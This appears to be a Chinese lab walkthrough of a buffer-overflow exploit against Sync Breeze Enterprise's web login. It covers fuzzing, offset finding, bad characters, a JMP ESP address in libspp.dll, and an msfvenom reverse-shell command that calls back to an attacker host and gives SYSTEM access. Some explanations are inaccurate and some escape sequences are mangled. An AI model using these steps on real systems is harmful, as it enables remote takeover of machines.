缓冲区溢出介绍
缓冲区溢出(buffer overflow)是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权。非常普遍且危险,在各种操作系统应用软件中广泛存在。利用缓冲区溢出攻击,可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。具体严重程度需要看缓冲区溢出的数值和效果来判断其危害,如果溢出后的数值量有限那就没办法getshell,那就只能算低中危,只能造成环境宕机而已。如果数值可以达到300-500甚至更多那么可以利用来getshell来获得整个设备的system权限(因为缓冲区溢出主要是接触到内存的,所以一旦getshell那么危害即是系统级)。
缓冲区溢出实操
环境介绍
攻击机:kali(192.168.227.128)
受害机:32位win10(192.168.227.145)
环境搭建
win10下载链接:https://pan.quark.cn/s/f6b71007930a
首先下载安装Sync Breeze,然后打开软件选择“Options”,选择“Server”选项后勾上”Enable web server on pc“,这样子sync软件就打开了web服务了。
然后点击左下角的“开始”输入“service”调出服务的界面,找到“Sync Breeze Enterprise”后选中并在左边的服务状态处选择“启动/重启动服务”保证服务为开启状态,至此Sync的环境就准备完毕了(这个服务窗口别关闭,后面会好几次用到)。
准备完Sync后下载并且安装Immunity Debugger(后续简称debugger),安装完后右键管理员运行debugger,按照file——attach——想调试的软件名称的顺序打开调试程序。
安装完debugger后会连带让你安装python27,,安装完毕后找到python的安装路径,给它复制后添加到右键此电脑——属性——高级系统设置——环境变量——系统变量——path——编辑——新建的空白处然后一路确定,至此python环境配置完毕。
这里以调试sync软件为例子,选择attach后会出现这个界面,找到sync并选中后点击attach载入界面
载入完的界面如截图所示,载入完毕后记得点击开始按钮(三角形),不然会一直报错,至此环境都准备完毕了。
在开始实验之前我们再给debugger安装一个插件,这个插件后续有很大的作用。首先在桌面右键debugger—打开文件所在的位置,然后进入到PyCommands,把mona.py复制到里面来,这个插件主要是在debugger里面查询服务的一些东西,比如权限和地址等东西。
正式玩耍
测试阶段
第一步
如果上面全部操作完毕了正确了在浏览器输入http://127.0.0.1/login会出现登录的界面,这时候我们右键——检查元素把username的最大字节数填写为3000或者最多,保证我们输入的数值可以造成一些操作。
生成命令:print("A"*800)
在cmd输入python进入python环境后生成800个A,复制备用。复制完毕后进入刚刚打开的登陆界面,把复制好的字符串粘贴到username上,密码随便输入,然后点击login,此时网站会进入加载状态,加载几秒后你以为会绕过登陆限制?实则不是,反而网站崩溃。
打开sync则会显示这个界面,下面也从conment变成了让你点击conment,这就说明了我们的缓冲区溢出的验证操作完毕了,这个环境存在缓冲区溢出。
此时我们去debugger软件查看内容则会发现在fpu里面的eip处从之前的文本内容替换为了41414141,也就是AAAA,那么就证明我们的操作影响到了环境里面了。
利用阶段
那此时就估计有人会有疑惑了:你这个缓冲区溢出也就只把环境搞崩溃了吗,那这个缓冲区溢出也不过如此嘛,我别的把网站搞崩溃的玩法不比这个好。那我只想说你先别着急啊,前面都介绍了缓冲区溢出轻则是可以把环境搞崩溃,重则是可以getshell的存在,那前面不就是先测试一下看有没有缓冲区溢出嘛,那测试有了接下来我们不就是来再测试一下能不能getshell了嘛,一步一步来嘛不是。
第二步
生成命令:msf-pattern-create -l 800
接下来我们借助kali里面的msf模块里的一个叫做msf-pattern-create来生成一下随机不同的数值,把生成完的数值复制一下备用。然后回到win10,从服务窗口重新启动一下sync服务,并且重新打开sync软件和重新管理员运行debugger软件(后续sync软件崩溃了都是这么操作,不再做提醒)。
浏览器打开网站重新按照之前的操作做修改后把我们复制到的msf生成的字符粘贴到username段,password也是随便输入,然后提交再次崩溃。
此时打开debugger软件查看结果可以发现eip从之前的41414141变成了42306142,记住这个数字,去kali查看一下这个数字的位数情况,发现结果为780,则可以推测网站最多的接受数值为780,多了就会被跑到内存里面处理。
第三步
生成命令:print("A"*780+"B"*4+"C"*16)
接下来我们通过python生成780个A和4个B和16个C的操作测试一下内存处理的字节数为多少,看是会把A显示出来还是把B显示出来还是把C显示出来,生成完毕后复制备用。
重新打开sync后把复制的结果粘贴到username上,密码同样随便填写,然后提交报错。打开debugger软件发现eip的结果为424242,也就是BBBB,那么可以判断为32位的环境下长度为4个,64位环境下长度为8个。因为我们在32位环境下,所以只关注4个长度就够了,这一步本身也是测试返回结果情况为后续做准备而已。
第四步
生成命令:print("A"*780+"B"*4+"C"*16+"D"*500+"E"*200)
我们知道了最大处理字节数和会在cpu处理的字节情况后我们看一下后面能否可以支撑我们getshell,因为一个shell需要的长度差不多在300-500,所以我们生成一下几千的字符串(这里我准备1700的长度),然后复制备用。
把复制的结果粘贴到网站,然后点击login操作使网站崩溃,然后这次关注到右下角的窗口,发现结果把我们的EEEE都跑出来,那证明位数结果远大于shell可以支持的长度了,那我们可以生成个shell然后利用了,这个危害那可太无敌了,正是我们想要的。
在进行下一步之前我们先了解一下一个重点,那就是坏字符,因为每个环境对于字符的作用都不一样,有些字符对于这个环境来说是不可操作的,如果遇到了这个字符了环境会崩溃,这种字符对于ta来说就是坏字符,所以我们在进行一些操作之前要了解一下哪些字符对于该地方是坏字符,后续操作要避免使用到这些字符来完成。
第五步
生成字符:print("A"*780+"B"*4+“C”*4)
坏字符:0x00(这个对于所有环境来说都是坏字符)、0x0A、0x0D、0x25、0x26、0x2B、0x3D
我们把0-255这256个字符编码为0x00-0xff,然后把这些字符和我们生成的字符拼接起来两个一起用,然后填写到网站上,如果网站造成崩溃了我们就去debugger上查看哪个字符被转义为了00,那么这个字符就是坏字符(如果遇到坏字符了变成00后后面字符就不会执行了,所以只能一点一点剔除),网站崩溃后我们切换到debugger然后在FPU处找到"esp"然后右键找到“follow in dump”,这样子就可以看到hex dump的结果,在这里就可以分析一下哪些字符被过滤为了坏字符了。
我们在知道坏字符后我们了解一下esp是干嘛的,不然不了解为什么右键esp后可以找到结果,esp,是指针内存的东西,它永远指着内存区块的最上面,可以说是一个入口,所有东西的执行顺序都是从上往下执行的,所以有了它就知道了执行东西的头在哪里了。
第六步
查询命令:
msf-nasm_shell
jmp esp
因为每次环境打开内存地址都会改变,所以就算字符长度够我们也没办法getshell,因为每次getshell都需要一个内存不会变的东西,所以我们需要查询一下什么东西是我们可以利用来做跳板的,这时候我们打开kali的msf-nasm_shell来查询一下jmp esp
查询语句:!mona modules
在搜索框输入查询语句后分析返回结果,这里的结果我们可以看作waf的效果,如果是“true”那就是有安全防护,如果是"false"那就是没有安全防护,"false"的越多表示越可以利用。这里我们看到了有个“libspp.dll”什么限制都没有,那么可以利用这个来当作跳板来getshell。
查询语句!mona find -s "xffxe4" -m "libspp.dll"
在前面我们查到了jmp esp的值了,结果为�xff�xe4,接下来我们查询一下libspp.dll有没有jmp esp权限,如果有的话那么这个可以拿来作为跳板使用。从结果来看是有的,而且结果为“10090c83”,那我们右键这个值,然后选中copy to clipboard,然后找到address,点击后复制下来结果,再在左上角右键选择go to,点击expression,把复制的值填写进去,点击ok,从结果看确实存在这个数值,那么可以确定这个可以使用了。
print("A"*780)
然后把之前获取到的数值写到eip处,格式为"x83x0cx09x10"
解释一下为什么这里的值要倒着写,而不是正常的所谓的10090c83,因为按照上面说的,执行顺序是从上往下的,然后保存结果是先执行的在下面,后执行的在上面,所以我们这么写最后可以保证结果为10090c83。
第七步
在获取到一个不管怎么操作这个软件都不会变的数值后我们构造一下数值,让它执行到我们要执行的东西,然后后面覆盖一些脏数据。从结果来看它执行完我们的10090c83后直接就结果为空了,那么就证明了按照我们想要的执行了。
msfvenom -p windows/shell_reverse_tcp lhost=攻击机ip lport=想开的端口 -f 文件格式 -b "过滤掉的坏字符" exitfunc=thread
最后我们使用msf模块生成一下一个反弹shell的poc,把shellcode复制下来,覆盖到我们的python脚本上,注意一下shellcode的缩进,还有python脚本里的ip地址需要填真的ip,而不是127.0.0.1,不然就算shellcode填对了也没办法反弹shell。
所有操作都完成后我们在kali使用nc开启监听端口,然后运行我们的python脚本,可以看到成功反弹shell,而且权限还是最高的system,如果这是真实环境的话那么危害可想而知。
这里注意一下一个地方,最后的nops里的"x90"*10的目的类似于sql注入里面的闭合注释操作,是为了让程序正常执行我们想要的操作而构造一个数据,没有这个可能跑不出来或者存在一些干扰的意外情况。
有问必答
问题来了:既然最后可以反弹shell,那为什么之前那些操作都会使得软件崩溃导致重启,而最后的操作直接就可以getshell呢? 分析:
第一步里面我们填写了800个A的脏数据,而且从结果来看脏数据写进了内存里面去了,而内存不知道AAAA是个什么东西,也不知道后面要干嘛,所以软件崩溃了。
第二步里面我们输入了800个随机脏数据之后是判断多少位后放到内存执行用的,所以除了软件在接收到我们脏数据后同样的没告诉他后续该怎么办,所以也是晕头转向的,所以同样也是软件崩溃重启了。
第三步里面我们输入了测试网站在内存内执行的位数情况,除了测试位数外也没有其他的作用了,也没告诉他下一步该干嘛,所以同样还是软件崩溃。
第四步里面我们输入几千位的脏数据,目的是测试能不能getshell,位数够不够,同样的也没告诉他下一步要干嘛,所以还是软件崩溃了。
第五步里面我们测试的是有哪些脏数据需要剔除的,所以软件会崩溃,剔除完毕后按理来说是不会崩溃了,但是还是没告诉他下一步该干嘛,所以软件跑完数据后还是会崩溃。
第六步我们只是测试第五步里面的eip地址能不能使用,同样的也会崩溃,只告诉他下一步该去哪,没告诉他下一步去那里干嘛,所以也是一脸懵逼的过去一脸懵逼的回来。
到了最后的时候我们什么都告诉他了,所以软件不会崩溃了,一切都正常按照我们想要的结果来了。
操作完溢出漏洞后的想法
从缓冲区溢出的操作思路来看,缓冲区溢出就是一个SQL注入的进阶版,更像是一个内存注入:
第一步的对比:
SQL注入第一步是测试网站对于语句的非预期情况下的处理,如果存在sql注入,那么网站会报错出来sql的一些信息,盲注的话会在界面与平时情况不一样,比如加载时间什么的。对于缓冲区溢出来说第一步是测试环境对于长数据的处理情况,如果数据长到把环境搞崩了,或者返回时间长于正常访问时间,那么环境就可能存在有缓冲区溢出。他俩的相同之处都是通过输入一些非预期的东西来测试网站处理情况。
第二步的对比:
SQL注入在测试到存在有sql注入的情况下要判断有多少个字段,如果字段大于我们输入的东西网站会报错,如果刚好或者少于我们输入的东西网站就没什么变化。对于缓冲区溢出来说,我们输入不同的数据然后通过软件(比如debugger)“抓包”然后查看数据里面的eip情况,eip显示多少位数则环境可以处理多少东西,多了就丢给内存等地方处理。
第三步的对比:
sql注入在查询完成字段后查询在前端会显示哪几个东西,我们可以通过这几个东西查询库的情况。对于缓冲区溢出来说,我们查询到了eip之前的位数后我们可以通过构造4-8位和前面位数不一样的数据,然后在后面构造其他的更多的数据,这样子可以查询出来一共输出的结果是有多少个,一般来说32位的环境下会有4位,64位的环境下会有8位,这个可以拿来利用。
第四步的对比
sql注入查到库之后查询库里面有哪些表可以用,通过这些表我们可以进行对于数据的一些操作。对于缓冲区溢出来说我们查询哪些字符不能用,同样是为了对环境进行一些敏感操作,更多是为了getshell,所以都是对于数据的操作。
第五步的对比
sql注入查到表之后会查询有多少列,然后通过这些列为下一步进行操作拿数据。对于缓冲区来说,我们用来哪个入口可以进去到操作内存的东西,然后把这个入口为我们所用,因为没限制或者限制少,而且权限高,拿到这个之后我们可以通过这个入口来进行下一步操作,让他自己进来访问我们的东西。
第六步的对比
sql注入在查询完所有东西之后可以去查询数据库里面我们想要的一些东西了,比如用户名和密码,拿到这些我们登录到网站里面进行一些敏感操作。对于缓冲区溢出来说,我们通过mona插件查询到了每次环境打开都会执行的一些地址,通过利用修改到这些地址我们可以通过拼接我们的一个反弹的东西来登录到整个环境中来。
第七步的对比 sql注入在获得完所有东西后会进行登录的操作,然后进行getshell等权限的东西。对于缓冲区溢出来说我们拼接完之后执行到环境里面因为接触到了内存的东西,所以最后权限直接就是system权限,直接不受任何限制影响。
以上就是sql注入和缓冲区溢出的一些对比,所以缓冲区溢出可以看作是和sql注入差不多的东西,流程思路都一样,这里的一点小区别就是对于sql注入来说我们获取到的账户权限取决于管理员对于这个的设置,而对于缓冲区溢出来说因为接触到了内存的东西,所以直接获取到的权限就是system权限,不管你本地运行的环境是什么权限,最后都是system,危害极高。
原文始发于微信公众号(泷羽Sec-王也安全):你跟我说这是缓冲区溢出?这不是注入吗?
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论